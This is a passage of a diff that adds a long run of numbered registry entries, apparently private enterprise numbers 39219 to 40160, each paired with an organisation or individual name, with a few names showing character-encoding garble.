+39219 Overkiz
+39220 Theoldmonk.net
+39221 Pakedge Device and Software Inc
+39222 Patrick Shuff Industries
+39223 ADNET Systems, Inc.
+39224 Djipalo Junuz
+39225 AVRO Electrics
+39226 REWOO Technologies AG
+39227 GIE Vauban Humanis
+39228 Kemira Oyj
+39229 Convergence Technologies
+39230 lenic.eu
+39231 Hosting.com, Inc.
+39232 Drogentherapiezentrum LAGO
+39233 Saint John's Health System
+39234 Mitroko Inc.
+39235 Exelis Inc.
+39236 TriFractal Studios (formerly 'Sacred Point Studios')
+39237 FW-Systeme GmbH
+39238 VelociData, Inc
+39239 LittleJackal
+39240 Atacama Large Millimeter/submillimeter Array
+39241 volkszaehler.org
+39242 Krki IT
+39243 VNLI LTD CO.
+39244 CHINA NATIONAL SOFTWARE & SERVICE CO., LTD.
+39245 Linkra Networks
+39246 MBDA Deutschland GmbH
+39247 medInt Holdings LLC (formerly 'Imalogix')
+39248 STEC
+39249 Shango
+39250 Dalian Xinyu Technology, Ltd
+39251 NewSun Co., LTD
+39252 RioCard Tecnologia da Informacao S/A
+39253 Punto Com srl
+39254 Consecom AG
+39255 Yakaz
+39256 laorim
+39257 Medical Records LLC
+39258 TZ Consulting UG
+39259 Geoffroy PLANQUART
+39260 Koeller Family
+39261 Planungsbüro Ledermann
+39262 MediaMelon, Inc.
+39263 Akademischer Verein
+39264 New Rock Technologies, Inc.
+39265 Versino GmbH
+39266 Runway International OÜ
+39267 ZAT a.s.
+39268 Fachhochschule Brandenburg
+39269 BASE - Gestió d'Ingressos
+39270 CLUB PSCO
+39271 Palisades Medical Center
+39272 WCR EDV GesmbH
+39273 ARC Wireless LLC
+39274 INNOV@TIVE IT LTD
+39275 Martello Technologies Corporation
+39276 Intux
+39277 Cape Regional Medical Center
+39278 ZeXtras s.r.l.
+39279 Web Devices Ltd
+39280 ARVOO Engineering B.V.
+39281 ST Enclosures for Electronics Systems LTD
+39282 Infinet Financial Systems
+39283 TeleWare PLC
+39284 Mountain States Health Alliance
+39285 Prime Engineering Ltd
+39286 Wargaming.net LLP
+39287 Unimed Litoral
+39288 Fimasys
+39289 SPAUN electronic GmbH & Co. KG
+39290 Citibank, N.A.
+39291 SugarCRM, LLC
+39292 Victoria's Secret
+39293 MARS
+39294 Rue La La
+39295 Yakima Valley Memorial Hospital
+39296 Salford Software Ltd
+39297 Beijing YUKUAN Technology Co.,Ltd
+39298 Banque du Bois AG
+39299 McPherson Hospital, Inc
+39300 Sherwood Compliance Services Ltd.
+39301 oikaze
+39302 Essent NV
+39303 Ospow
+39304 Shine Data AB
+39305 WiVDO, Lda
+39306 Intellidesign
+39307 Clealink Technology Co., Ltd.
+39308 Blinkenlichten Open Source Solutions
+39309 Centrum Promocji i Rozwoju Inicjatyw Obywatelskich OPUS
+39310 Sønderborg Kommune
+39311 Wellspan
+39312 Brookhaven Memorial Hospital
+39313 iFAX Solutions, Inc.
+39314 Efactures (JLEM)
+39315 Xelion b.v.
+39316 Savtira
+39317 Systems Solutions & Development Technologies Ltd
+39318 QUALIS AUDIO, INC.
+39319 mr-brooks.com
+39320 Canada Revenue Agency
+39321 Schooneman.net
+39322 Champlain Valley Physicians Hospital Medical Center
+39323 E2E4 TECHNOLOGIES
+39324 OS NEXUS, Inc
+39325 SecuAvail, Inc.
+39326 University of Neuchatel
+39327 ID Cyber-Identity Ltd
+39328 SeaWell Networks
+39329 Lesley University
+39330 Dalian Jinghaofeng Techbology Co., Ltd
+39331 SurGATE Labs
+39332 Zuercher Lehrbetriebsverband ICT
+39333 m3 bauprojektmanagement gmbh
+39334 RADMOR S.A.
+39335 basis Volume Limited
+39336 Kraus
+39337 Elephant Bird Consulting
+39338 Operate4all
+39339 Bagsbug
+39340 Kingsbrook Jewish Medical Center
+39341 Soifdinfo
+39342 CSF Sistemi S.r.l.
+39343 Vennetics Limited
+39344 NextNav, LLC
+39345 ConCen
+39346 Communaute d'agglomeration Herault Mediterranee
+39347 LeoNux
+39348 Hochschule für Telekommunikaton Leipzig
+39349 National Observatory of Athens
+39350 SuperNAS
+39351 Voxbone SA
+39352 Adirondack Community College
+39353 Biogen Idec
+39354 Oceus Networks, Inc.
+39355 Jeanes Hospital
+39356 Showa University
+39357 INSTITUTO FEDERAL DO CEARÃ - IFCE
+39358 Prospect Computer Systems Inc. (PCS)
+39359 Supranetcom
+39360 Welotec GmbH
+39361 FraudBuster
+39362 Activanos SAS
+39363 Wessel Dankers
+39364 The Basis Group, Inc.
+39365 Komar Consulting Inc.
+39366 href.net
+39367 Theodore Productions
+39368 Aqcua Electronics
+39369 Silicon Valley Medical Instruments
+39370 Reelway GmbH
+39371 deron Consulting GmbH
+39372 Teo Technologies, Inc.
+39373 Cooltech srl
+39374 TDK Technologies, LLC
+39375 Xtronix Ltd
+39376 Gigalan
+39377 g2b Holdings Inc.
+39378 WAO Corporation
+39379 Lab M, llc
+39380 Fysisch-Mathematische Faculteitsvereniging
+39381 Daggerpoint Technologies
+39382 JSC "ZHASO"
+39383 Flex Valley srl
+39384 CRYPTAS it-Security GmbH
+39385 M.M. Elektrolab
+39386 Ultra Electronics - Advanced Tactical Systems
+39387 Alpha Direct Services
+39388 Online Classifieds Australia
+39389 Beaulaton
+39390 Baycom Technology Co.,Ltd
+39391 H&L Instruments, LLC
+39392 jameskinnaird.ca
+39393 Global Reach Technology Inc.
+39394 Direccion General de Escuela Nacional Preparatoria
+39395 ELDIS Pardubice, s.r.o.
+39396 Zygma Inc.
+39397 amitego engineering GmbH (formerly 'ToolBox Solution GmbH')
+39398 HvS-Consulting AG
+39399 Gumilyov Eurasian National University
+39400 Institut für angewandte Funksystemtechnik GmbH
+39401 Tilburg University
+39402 B2F Concept
+39403 GEBIT Solutions GmbH
+39404 Keirex Technology Inc.
+39405 Yieldbroker Pty Limited
+39406 Benu Networks, Inc.
+39407 Explorys
+39408 Clark State Community College
+39409 b3Lateral Ltd
+39410 Ideco
+39411 Ongoing Warehouse AB
+39412 ALBEDO Telecom SL
+39413 SD Worx VZW
+39414 Domo, Inc.
+39415 MicroStep-MIS spol. s r.o.
+39416 Metropolitan Transportation Authority
+39417 Kukinto
+39418 Liberty Healthcare System Inc
+39419 NETWORK PROCESS CONTROL SYSTEMS S.L.
+39420 Delta Information Systems, Inc.
+39421 Rising-Gods UG
+39422 JazzHands Management System
+39423 Joshua Morgan
+39424 hilltonic
+39425 Verein für Menschen mit Körper- und Mehrfachbehinderung e.V.
+39426 Medical Mutual of Ohio
+39427 Cyrrus Products Ltd
+39428 Himilco
+39429 G10 Transportes - LTDA
+39430 ownCloud Inc.
+39431 BLT Italia srl
+39432 devcoach GbR - Michael Willers & Partner
+39433 T8, LLC
+39434 Isthmus SARL
+39435 Sistemas Dypsa S.R.L
+39436 Just Commodity Software Solutions Pte Ltd
+39437 Six Quarks
+39438 CB10
+39439 FACOS
+39440 JELETL
+39441 George Watson's College
+39442 Fred Hutchinson Cancer Research Center
+39443 Banco de la Provincia del Nequén S.A.
+39444 Caucasus Online LLC
+39445 Alameda County Medical Center
+39446 RESEARCH CONCEPTS, INC.
+39447 Career Partner GmbH
+39448 Swiss Mideast Finance Group AG
+39449 UBI sistemi e Servizi S.c.p.a
+39450 The Lampo Group, Inc.
+39451 Zarathustra Solucoes em Informatica
+39452 Artemis Investment Management LLP
+39453 Bequant S.L.
+39454 University of Scranton
+39455 Reno A&E
+39456 Denis Bondar
+39457 pcsysteme.at IT Service Gmbh
+39458 Lobster GmbH
+39459 StoFey GbR
+39460 CIPHERTELECOM
+39461 Arachnocypher Web Services
+39462 Damovo Belgium nv/sa
+39463 Adaptive Networks, Inc.
+39464 Solid Instance, Inc
+39465 ENBALA Power Networks
+39466 NV Nederlandse Gasunie
+39467 RISC Software Gmbh
+39468 Kettering University
+39469 Neosho Memorial Regional Medical Center
+39470 MetaEmotion S.L
+39471 El Centro Regional Medical Center
+39472 Karsten Eberding
+39473 TGW Limited
+39474 Kaleva Oy
+39475 TUIR WARTA S.A.
+39476 Antinea Software
+39477 American Bureau of Shipping (ABS)
+39478 Andi Miller Engineering Services
+39479 sysangels e.U.
+39480 BC Hydro
+39481 WWPass Corporation
+39482 Pieceable Software, Inc.
+39483 Eneo Tecnologia S.L.
+39484 The University of Connecticut Health Center
+39485 EUCAST Co., Ltd.
+39486 ChongQing TrunkSoft Technology Co., LTD.
+39487 Wavestore Limited
+39488 Plexipi Kft.
+39489 EZYield
+39490 Data Security Systems Solutions Pte Ltd
+39491 Eleiss
+39492 Steven Denzinger
+39493 Brückenkopf e.v.
+39494 comBerg Computersysteme
+39495 CHU de Charleroi
+39496 Arch Systems, Inc.
+39497 EMSYS Design Inc
+39498 Peerpath
+39499 Flowmon Networks a.s. (formerly 'INVEA-TECH a.s.')
+39500 Sumatronic AG
+39501 Bayerische Medien Technik (bmt) GmbH
+39502 Aaron Wolfe
+39503 Adsalsa Publicidad, S.L.
+39504 CTI Group (Holdings), Inc.
+39505 Lingo Systems SA de CV
+39506 Qalixa Solutions AB
+39507 Kreuzer-bb networking
+39508 Schmitz RZ Consult GmbH
+39509 Totemo AG
+39510 Institut de Biologie Structurale
+39511 Schiavone Org
+39512 saman insurance
+39513 MacAllister Software
+39514 Associated Engineering
+39515 Jõhvi Vallavalitsus
+39516 Indisys
+39517 Evernote Corp.
+39518 KAGE Systems Ltd
+39519 HavenSec, Inc.
+39520 Qualycloud
+39521 xG Technology
+39522 Maldivica Inc
+39523 Aliphcom
+39524 Nacogdoches Memorial Hospital
+39525 Creotech Instruments SA
+39526 LogicLore Incorporation
+39527 Motaavi, LLC
+39528 ADDIT LTD
+39529 Cyberside Ltd.
+39530 6cure SAS
+39531 n-Tier construct GmbH
+39532 Quanex Building Products
+39533 Armadillo Software
+39534 Mobiata, LLC
+39535 modusoft GmbH
+39536 RBNetwork
+39537 Supreme Education Council
+39538 Bright Pattern, Inc
+39539 Northwest Hospital & Medical Center
+39540 Saphety Level - Trusted Services, S.A.
+39541 Blacklight IT UG
+39542 Calgary Co-operative Association Limited
+39543 GNUstep (gnu.org)
+39544 igolgi Inc.
+39545 Winters Broadband LLC
+39546 Infoage
+39547 WakeMed Health and Hospitals
+39548 Beijing TopShine Technology Co., Ltd.
+39549 DataCore Systems Ltd
+39550 KE2 Therm Solutions
+39551 UAB SignDigi
+39552 Dalian Co-Edifice Video Technology Co. Ltd.
+39553 Beijing Dynamic Power Co.,Ltd.
+39554 D'Crypt Private Limited
+39555 gyselroth GmbH
+39556 University of Zurich, Institute of Mathematics
+39557 Horoquartz
+39558 that's it gmbh
+39559 derEDVdienst
+39560 Leads Technologies Limited (formerly 'Lead Innovation System Technology Corp.')
+39561 XSD Zrt.
+39562 Greenhills IT Ltd.
+39563 Smart Messaging Solution Pte Ltd
+39564 Yunnan Technician College
+39565 Birzeit University
+39566 Idealo Internet GmbH
+39567 DJIGZO
+39568 Liberologico Srl
+39569 max4G, Inc.
+39570 POOL4TOOL AG
+39571 L33 NETWORKS
+39572 TCPWave Inc
+39573 Sauper Associates, Inc.
+39574 Guido Berhoerster
+39575 Global Patient Identifiers, Inc.
+39576 ElvenStar
+39577 GlobeOSS Sdn. Bhd.
+39578 Sven van den Heuvel GmbH
+39579 Hearst Business Media
+39580 dual-PROJEKT Paweł Szmidt
+39581 ZPBE ENERGOPOMIAR-ELEKTRYKA
+39582 WebSatMedia Pte Ltd
+39583 Egemin Automation
+39584 Hannoversche Volksbank eG
+39585 Kleyling Spedition GmbH
+39586 Datasiel Spa
+39587 GuideStone Financial Resources of the Southern Baptist Convention
+39588 SELECTRIC Nachrichten-Systeme GmbH
+39589 eBackpack, Inc.
+39590 Fundació privada i2cat
+39591 Aux Sable Liquid Products LP
+39592 Sermotec Communications GmbH
+39593 Suofeiya Home Collection Co., Ltd
+39594 Point Of Pay Pty Ltd
+39595 GuangZhou JoySim Network Technology Co.,Ltd.
+39596 Zhejiang Broadcast&Television Technology Co.,Ltd.
+39597 Chongqing Chongyou Communication Technologies Co,Ltd.
+39598 INFACOM S.L.
+39599 Mzinga, Inc.
+39600 Capital Bank
+39601 Vector 3 S.A.
+39602 Regional Medical Center at Memphis
+39603 DTTec Consulting
+39604 Accuenergy (CANADA) Inc.
+39605 GlobeCast France
+39606 GoldKey Security Corporation
+39607 NX Information Services
+39608 Palosanto Solutions S.A.
+39609 next-pbx
+39610 BITLANCER LLC
+39611 Video Design Software Inc.
+39612 Stantec Consulting
+39613 Tambora Systems India Pvt Ltd (formerly 'Sawridge Systems India Pvt Ltd')
+39614 Valid
+39615 2008mcitp.com
+39616 GlasgowNet
+39617 PDT Partners, LLC
+39618 Cloud Assist
+39619 Institutul pentru Tehnologii Avansate
+39620 JANUS srl
+39621 SOPLEX Consult GmbH
+39622 Intermas France S.A.S
+39623 PCS Systemtechnik GmbH
+39624 herold&schönsteiner networks UG haftungsbeschränkt
+39625 Kraft Foods
+39626 Hackerspace Warsaw
+39627 Rhinobee
+39628 Vegayan Systems
+39629 Auxilium
+39630 mailplus.co.at
+39631 mocube
+39632 Hyro Pty Ltd
+39633 Dos Tek Group
+39634 HighGrand Technology
+39635 Beijing ZhongChuang Telecom Test Co.,LTD
+39636 Comet Computer GmbH
+39637 IMP Solutions Network Operations
+39638 Cornerstone Backup, Inc.
+39639 Vigilent Corporation
+39640 Europalab Networks
+39641 SPICE DIGITAL LIMITED
+39642 S3 s.r.l.
+39643 WedaCon Informationstechnologien GmbH
+39644 The University of North Carolina at Greensboro
+39645 Anglo-American School of Moscow
+39646 Mikro Odeme Sistemleri A.S
+39647 iNic AS
+39648 Enovacom
+39649 General Data Technology Co. Ltd.
+39650 AEMO Ltd
+39651 ComTecT
+39652 The William Carter Company
+39653 Imbio
+39654 TISSOT
+39655 Humbug Telecom Labs Limited
+39656 Nationale Nederlanden (formerly 'ING Insurance /IM')
+39657 Administration of the Vladimir Region
+39658 TollNet a.s.
+39659 NSD CO., LTD.
+39660 Tarana Wireless Inc
+39661 Allianz Managed Operations and Services SE - oneWeb
+39662 metafinanz Informationssysteme GmbH
+39663 RENK AG
+39664 Lingua-IT Sp. z o.o.
+39665 Fat Mongoose Technologies, Inc.
+39666 Consult A Nerd
+39667 CodeMettle, LLC
+39668 Iridium Digital Systems Corporation
+39669 Koning Corporation
+39670 knaute.info
+39671 NEXTDC Ltd
+39672 Elite Automação Comércio e Serviços Ltda ME
+39673 Talon Storage Solutions
+39674 OctoGate GmbH
+39675 Vast Array Corporation
+39676 Pason Systems Corp.
+39677 Archdata SPRL
+39678 American Domain Names LLC
+39679 JSC Tekhdiagnostika
+39680 Nozhup B.V.
+39681 Catalyst Repository Systems
+39682 Exegin Technologies Limited
+39683 Single Touch Interactive
+39684 Genteel.org
+39685 WTG Muenster
+39686 Acquirente Unico
+39687 JSC Aprelevka X-ray factory
+39688 interactingstars.org
+39689 BRF
+39690 IPACCT Ltd.
+39691 embeddeers GmbH
+39692 Ideal Mahdban Engineering Services
+39693 N-Partner
+39694 Diamont Equipamentos Especiais Ltda
+39695 FRAFOS GmbH
+39696 Banglalion Communications Limited
+39697 Intelligent Security Systems
+39698 Mianyang Netop Telecom Equipment Co.,Ltd
+39699 Robustel Technologies
+39700 Sonic Boom Wellness
+39701 Mangelal & Sons
+39702 Linux Solutions
+39703 SASCO
+39704 Unyonsys
+39705 skslater.net
+39706 ADTEK
+39707 Cumbria Constabulary
+39708 Telent GmbH * A division of euromicron Group
+39709 Broadcast Graphics and Control Limited
+39710 Wentworth-Douglass Hospital
+39711 Radiobolaget Gunhamn och Ã…sbrink AB
+39712 QSD Sistemi Srl
+39713 Abertis telecom
+39714 Associacio Cultural TGK
+39715 DominionTech Computer Services
+39716 University of South Alabama Health System
+39717 Westerholt
+39718 Silverflare Ltd
+39719 TCF Financial Corporation
+39720 Maryland Stadium Authority
+39721 DUCSS
+39722 Underpin Taiwan Ltd.
+39723 Logistics Energy Korea Co., Ltd.
+39724 [j]karef GmbH
+39725 JeraSoft
+39726 British National Party
+39727 IT Ihme
+39728 Bessels IT
+39729 Cilutions, Digital Media Bridge
+39730 SHANGHAI MEXON COMMUNICATION TECHNOLOGY.,LTD
+39731 Emind Systems Ltd
+39732 Shenzhen Smart Cube Intelligent Technology Co.,LTD
+39733 Boss Info AG
+39734 wujiman.net
+39735 Main Street Softworks, Inc.
+39736 ACTIVE SYSTEM MANAGEMENT
+39737 CommercePack
+39738 IBS America, Inc.
+39739 Madscientistclub
+39740 PSA Zeebrugge International Port nv
+39741 Egnyte Inc.
+39742 Société des ingénieurs Arts et Métiers
+39743 Shanghai Dongzhou Lawton Telecom Technologies Co.,ltd
+39744 EDESA
+39745 OPower, Inc.
+39746 MEITSUDENSHI
+39747 Zhejiang Uniview Technologies Co., Ltd.
+39748 Intesyn S.r.l.
+39749 Kassenärztliche Vereinigung Brandenburg
+39750 Union Hospital Health Group
+39751 Mobintegro
+39752 HootSuite Media Inc
+39753 Vignold Workflow & New Media GmbH
+39754 HAVI Logistics IS GmbH
+39755 Saint Mondiale PTE LTD
+39756 St. Johns County School District
+39757 Schomäcker GmbH
+39758 imoxion
+39759 LOREME
+39760 New Cosmos Electric Co., Ltd.
+39761 Galiam Capital, LLC
+39762 Radio Mobile Access, Inc
+39763 Adams County School District 50
+39764 Transoft (Shanghai) Inc.
+39765 Keydap
+39766 Null Pointer Inc.
+39767 TomTom International BV
+39768 UAB Technologiju ir inovaciju centras
+39769 Italian Grid Infrastructure (IGI)
+39770 Martin Neimeier
+39771 SIP Express Media Server
+39772 Melchinger Systemhaus UG
+39773 Pannon Site Ltd.
+39774 Criena Network
+39775 Capitol Lien Records & Research, Inc.
+39776 Andreas Strey
+39777 Simon Arlott
+39778 Young Master Supplies & General Enterprises Ltd
+39779 UCLA Anderson School of Managemetn
+39780 Pikopiko Network
+39781 T&W
+39782 Hangzhou I'converge Techonoloay Co.,Ltd
+39783 ASB Bank Limited
+39784 National Jewish Health
+39785 DS/2 GbR
+39786 Travelocity.com
+39787 Suntrust Banks, Inc.
+39788 LogoDynamic Unit GmbH
+39789 Southwest Texas Regional Advisory Council
+39790 Church & Dwight Co., Inc.
+39791 Unified Microsystems
+39792 YouDotNet Limited
+39793 World Net
+39794 FedeRez
+39795 Cardiothink, Inc.
+39796 BkavCA
+39797 Contract Kitting
+39798 RepubliÄki fond za zdravstveno osiguranje
+39799 TELE APOSTUAK
+39800 MTU Aero Engines GmbH
+39801 Imagicle SpA
+39802 Urban Airship, Inc.
+39803 IT-Box GmbH
+39804 Ctyle Corporation
+39805 Ingenious Med
+39806 PrJSC "IC SEB LIFE UKRAINE"
+39807 Edgewater Wireless Systems Inc.
+39808 SHINE SYSTEM
+39809 Lonely Planet
+39810 KNET Co., Ltd.
+39811 ZaPOP (Pty) Ltd
+39812 UC RUSAL
+39813 Public Joint-Stock Company "National Depository of Ukraine"
+39814 SOLYSTIC
+39815 iphion B.V.
+39816 Accelatis
+39817 cl0secall.net
+39818 Anator
+39819 VaporPunk, Inc.
+39820 Cyssea
+39821 EDINEC SRL
+39822 iSchemaView, Inc.
+39823 Consorci Administració Oberta de Catalunya
+39824 Smart Grid Networks
+39825 Public Safety canada
+39826 Accelerated Servers, Inc
+39827 Celal Bayar University
+39828 ATP
+39829 Asetek
+39830 Greeve
+39831 Museu de Astronomia e Ciencias Afins
+39832 LogicMonitor Inc
+39833 hangzhou e-vision electronic system engineering corp.
+39834 Fata Informatica
+39835 JANTEQ CORPORATION
+39836 Sindikat “Akademska solidarnostâ€
+39837 A123 Systems, Inc.
+39838 University of Bahrain
+39839 Gaftech
+39840 ICAR CNR
+39841 Danske Bank
+39842 Communauté Urbaine du Grand Toulouse
+39843 Precogs Software SAS
+39844 MAPPER Lithography
+39845 Dr. Schenk IT-Consulting GmbH
+39846 UNILINK SA
+39847 ATS GRUP LTD
+39848 Voximage
+39849 Arbiter Systems
+39850 Ross Opticians Inc.
+39851 HLT Software GmbH
+39852 Clima-Tech Coporation
+39853 BSI Business Systems Integration AG
+39854 eVolution Networks
+39855 FCP Fritsch, Chiari & Partner ZT GmbH
+39856 Beijing Qibadian Information Technology CO., Ltd.
+39857 CYSM Ltd.
+39858 Kirin-gumi
+39859 Clemax,Inc
+39860 OGS IT-Solutions
+39861 Orbitz Worldwide, LLC.
+39862 ComSonics,Inc.
+39863 World Vision US
+39864 WEBeDoctor, Inc.
+39865 Slabinfo E.U.
+39866 Advanced Network Devices
+39867 Linedata
+39868 Miami International Holdings
+39869 Illumina, Inc
+39870 Telesis A.S.
+39871 Trans Industrias Electronicas
+39872 CIPFP Ausias March
+39873 Silicon Labs (formerly 'Ember Corporation')
+39874 Asmlab Limited
+39875 Beijing GuangXinYingKe Technology Co.,Ltd
+39876 7-Technologies A/S
+39877 VCE Vienna Consulting Engineers
+39878 Le Aquile Unita' Cinofile da Soccorso Ravennate
+39879 Amplitude Systemes
+39880 Thomas Wiedstruck - Informationstechnik
+39881 EyesOfNetwork
+39882 Greater Pittsburgh Glass & Door
+39883 Sysacom
+39884 T-Platforms
+39885 StorONE
+39886 Kurt Kincaid Consulting
+39887 localroot.de
+39888 Ness Computing, Inc.
+39889 icecreek Software und Services
+39890 Beijing Forsun Technology Co.,Ltd
+39891 MNUCIB VNII PVTI
+39892 v-ic
+39893 Energierversorgung Mittelrhein GmbH
+39894 Haley Technologies Inc. dba PC PitStop
+39895 OpenX
+39896 The Cleveland Clinic Foundation
+39897 Ryder System, Inc.
+39898 AtrilA GmbH
+39899 Virginia Hospital Center
+39900 INITE SC
+39901 Crypto4A
+39902 inqa.be
+39903 Pivotal Technologies Pty Ltd
+39904 Sascha Wolf
+39905 eA-light Arbeitsgemeinschaft der ÄKNO und ÄKWL
+39906 Zwissler Technologies, LLC
+39907 LinkSquare
+39908 china beijing koal Company
+39909 OJSC GUTA-BANK
+39910 Fusionex
+39911 ltd Arhangelskoe predprijatie protivopozharnoj avtomatiki
+39912 State Grid Electric Power Research Institute
+39913 ELONG Corp
+39914 ZPAS S.A.
+39915 wiba10
+39916 KeyLemon SA
+39917 KUFP “Medaparaturaâ€, ALC
+39918 Cardiocore
+39919 hybris GmbH
+39920 wintek System
+39921 UKFast.Net Ltd
+39922 SDN SPA
+39923 Seres
+39924 Chase Paymentech
+39925 Excellent S.A.
+39926 Aspen Systems
+39927 Voronezh Cityhall
+39928 Dmitry Ponomarev
+39929 Dingbox
+39930 Rewired State
+39931 openNetMon
+39932 Mindware
+39933 Technology Space Integration Limited
+39934 TopHat Software
+39935 Transas Marine International
+39936 Cheshire Medical Center
+39937 Netspective
+39938 Inca Networks Inc.
+39939 Lansing Community College
+39940 Oregon Scientific Global Distribution Limited
+39941 KUZUMI Electronics,Inc.
+39942 eWorld Technologies Ltd.
+39943 University of Santo tomas
+39944 shenzhen Catic Bit Communication Technology Co.LTD
+39945 Tecblazer
+39946 EV Group GmbH
+39947 B PLUS TV a.s.
+39948 Ping Communication
+39949 Beijing Arrays Medical Imaging Technology Development Co.,td
+39950 Altersign, LLC.
+39951 Town Sports International
+39952 SecurePKI
+39953 SERVICE DEPARTEMENTAL D INCENDIE ET DE SECOURS DE LA DROME
+39954 RWetc. s.r.o.
+39955 SMP Bank OJSC
+39956 Vale
+39957 Columbus Regional Heathcare System, Inc.
+39958 Withings
+39959 CIRCUTOR, SA
+39960 cktsoi.com
+39961 Nicira, Inc.
+39962 Kern Scientific Co.
+39963 AGCO Corporation
+39964 EIDEN Co,Ltd
+39965 Trans Sped
+39966 Luminoso, LLC
+39967 Ethersex Project
+39968 Toya Technologies Inc.
+39969 United Energy Pakistan Limited
+39970 HandySolutions (CJSC)
+39971 Shenzhen Skyee Optical Fiber Communication Technology Ltd.
+39972 TUV RHEINLAND IBERICA SA
+39973 Janmedia Interactive Sp. z o.o.
+39974 Garland Technology LLC
+39975 COGNEX
+39976 Southwestern University
+39977 Deltix, Inc.
+39978 Daniel Theodoro Consultoria em Informatica Ltd.
+39979 ConicIT Ltd.
+39980 Nocturnal Aviation
+39981 OPT SP CO.,LTD.
+39982 Icareus Ltd
+39983 Project Engineering srl
+39984 Shenzhen Process Tech.Co.,Ltd.
+39985 GRZ IT Center Linz GmbH
+39986 Florida Department of Education
+39987 Pathmaker Group, Inc.
+39988 Reserved
+39989 LINE SEÑALIZACIÓN ELECTRÓNICA S.L.
+39990 Center of Information Technologies of Volgograd region (http:\\citvo.ru)
+39991 Aitia International Inc.
+39992 davidhowland.com
+39993 Owl Forestry
+39994 Echo360
+39995 Plymouth University
+39996 sys4 AG
+39997 Netsumo Ltd
+39998 Beijing Lanxum New Technology
+39999 IDEMIA SPAIN PRODO SLU (formerly 'Prodo Telecom (An OT Company)')
+40000 Kapsi Internet-käyttäjät ry
+40001 WineSOFT
+40002 Open System Co., Ltd.
+40003 Karjalan Paperi Oy
+40004 Cargo Service Nord GmbH
+40005 5p. GmbH & Co. KG
+40006 Reevex, LLC
+40007 Universal Research Solutions, LLC
+40008 Virtual Connect Technologies, Inc
+40009 Oasiswork SARL
+40010 MSMC Informatica Ltda
+40011 Fripost
+40012 Hatomi Sp. z o.o.
+40013 lintloaf.net
+40014 Progress Rail Services Inspection & Information Systems
+40015 Hüttner & Werfling Softwareentwicklung GbR
+40016 MAS Technology
+40017 ARKS LLC
+40018 JSC Bank Vologzhanin
+40019 Isbak A.S.
+40020 Gutenberg Networks
+40021 Viscount Systems Inc
+40022 Sirius Software, Inc.
+40023 LLC " NPF DUKON"
+40024 iNovo Broadband, Inc.
+40025 Tym3
+40026 Société d’Informatique et de Systèmes
+40027 Aki Network
+40028 TAKOTA, LTD
+40029 leadtone
+40030 RADOM, s.r.o.
+40031 Oblako10, Ltd.
+40032 Ultra Electronics, Precision Air & Land Systems
+40033 Radio Design
+40034 DuraSpace
+40035 CellSec Inc.
+40036 Vertafore PLM
+40037 Inceptum d.o.o
+40038 Livestream, LLC
+40039 MySysAdmin.DE
+40040 Stichting IFCAT Foundation
+40041 ООО «Электронные ОфиÑные СиÑтемы (проектирование и внедрение)» /OOO “Elektronnye Ofisnye Sistemy (proektirovanie i vnedrenie)/
+40042 Stiftelsen Chalmers Studentbostäder
+40043 NewPace Technology Development Inc.‎
+40044 PC-Doctor, Inc.
+40045 Nexenta Systems, Inc.
+40046 CREDIT EUROPE BANK Ltd.
+40047 Korex Networks s.r.o.
+40048 Information Display Company
+40049 Red Bend
+40050 Microtech Andrzej Sokulski
+40051 RELEASE14
+40052 Energie AG Oberösterreich Data GmbH
+40053 Sistemas Avanzados de Diseño
+40054 4UR
+40055 Yuchengtech
+40056 AccuBeat Ltd
+40057 Reserved
+40058 Vitaliy Tokarev
+40059 Datagram, Inc.
+40060 Leo-Li com.
+40061 Bay Area Hospital
+40062 Trevor and Emily Mouat King
+40063 Qintara, Inc.
+40064 Optima Lab srl
+40065 Larch networks
+40066 Saliens Information Systems Ltd.
+40067 LinTech JSC
+40068 The Venus Project
+40069 enprovia Software Engineering s. r. o.
+40070 RetailNext
+40071 P. St. Onge
+40072 techlab.jp (formerly 'scminfo.net')
+40073 Lutron Electronics Company, Inc
+40074 Energy Solutions Ltd.
+40075 SPL-Xdemat
+40076 SiFox
+40077 Austrian Red Cross
+40078 Open Grid Computing
+40079 Electronic Systems Protection, Inc.
+40080 IIHE - Inter-university Institute for High Energies
+40081 Shanghai Myway Technology, Inc.
+40082 NuGardt Software UG (haftungsbeschränkt)
+40083 Accelerated Concepts, Inc.
+40084 Ingalls Memorial Hospital
+40085 Stage Tec GmbH
+40086 Inworx Group
+40087 NIDO Informatica
+40088 Voixtel Telecom
+40089 NetAmbit Infosource & E-services Pvt. Ltd.
+40090 Netline Communications Technologies Ltd
+40091 A.C.T.I.C asbl
+40092 Wiwynn Corporation
+40093 Zhuhai Seine Technology Co., Ltd
+40094 SecuEnv
+40095 G4S Engenharia e Sistemas S. A.
+40096 ROICX
+40097 WorldPay
+40098 update software
+40099 North Carolina Healthcare Exchange
+40100 TechNet
+40101 EPB Fiber Optics
+40102 Pinger, Inc.
+40103 Fashion Days
+40104 BamseNet GmbH
+40105 APN Promise S.A.
+40106 Polara Engineering, Inc.
+40107 Michael Reschly
+40108 Amber Buddha
+40109 SigAlgo Technology Ltd
+40110 EGNATIA
+40111 Deloitte Services & Investments nv
+40112 Ethernix
+40113 Blue Mountain Health System
+40114 Guavatech
+40115 V & B Ingenieria S.A. de C.V.
+40116 DCO4 Sp. z o.o.
+40117 Faculté des Sciences et Technologies - Université de Lorraine
+40118 CNPC LOGGING Co.Ltc
+40119 Terralink LLC
+40120 Pamlock AB
+40121 Methodia Inc
+40122 Beijing Cyber Stone Information Technology Corp. Ltd.
+40123 Hangzhou dunchong Technology Co.,Ltd.
+40124 Kernkraftwerk Leibstadt AG
+40125 Travelfusion Ltd
+40126 real virtual GmbH
+40127 Federos
+40128 Beijing Photon-Byte Technology Co., Ltd.
+40129 MarLukKi Centre
+40130 Tempered Networks
+40131 Nuvem Networks Inc
+40132 Telemedia Argentina S.A.
+40133 FIX TELECOM
+40134 Nexum, Inc
+40135 Spawn Labs, Inc.
+40136 Comviva Technologies Limited
+40137 University of Pardubice
+40138 DataNET21 Solutions GmbH
+40139 GRN Serveis Telematics
+40140 AIRTEL ATN
+40141 InterConnect Brasil
+40142 MODULISTIC.NET
+40143 CookieConcepts
+40144 Understanding SharePoint LLC
+40145 STRYME GmbH
+40146 Ascent Communication Technology
+40147 IT-Technology GmbH
+40148 Thorsten Pape
+40149 PFA Pension
+40150 Kenium
+40151 G²mobility SA
+40152 Trimtab.ca
+40153 Abraxas Informatik AG
+40154 North-Caucasus Federal University
+40155 Groundhog Technologies
+40156 WVNET GmbH
+40157 Medicalgorithmics
+40158 Gage Marketing Group, LLC
+40159 Paul Reinhart AG
+40160 NJVC
